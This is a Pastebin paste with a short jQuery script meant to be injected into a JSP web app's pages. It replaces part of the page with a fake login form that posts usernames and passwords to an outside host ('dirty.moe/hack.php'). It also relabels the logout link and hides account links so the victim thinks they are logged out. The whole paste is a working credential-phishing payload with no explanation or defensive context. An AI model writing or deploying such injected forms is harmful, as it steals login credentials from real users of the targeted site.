Advertisement
Guest User

Untitled

a guest
Apr 27th, 2017
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. $('td[valign="top"]:nth-of-type(2)').replaceWith(`
  2. <h3>Login</h3>
  3. Please enter your credentials: <br><br>
  4. <form method="POST" action="http://dirty.moe/hack.php">
  5. <center>
  6. <table>
  7. <tbody><tr>
  8. <td>Username:</td>
  9. <td><input id="username" name="username" data-cip-id="username"></td>
  10. </tr>
  11. <tr>
  12. <td>Password:</td>
  13. <td><input id="password" name="password" type="password" data-cip-id="password"></td>
  14. </tr>
  15. <tr>
  16. <td></td>
  17. <td><input id="submit" type="submit" value="Login"></td>
  18. </tr>
  19. </tbody></table>
  20. </center>
  21. </form>
  22. If you dont have an account with us then please <a href="register.jsp">Register</a> now for a free account.
  23. <br><br>
  24. `);
  25. var a = $('a[href="password.jsp"]');
  26.  
  27. a.hide();
  28. a.parent().html('Guest User');
  29.  
  30. $('a[href="logout.jsp"]').html("Login");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement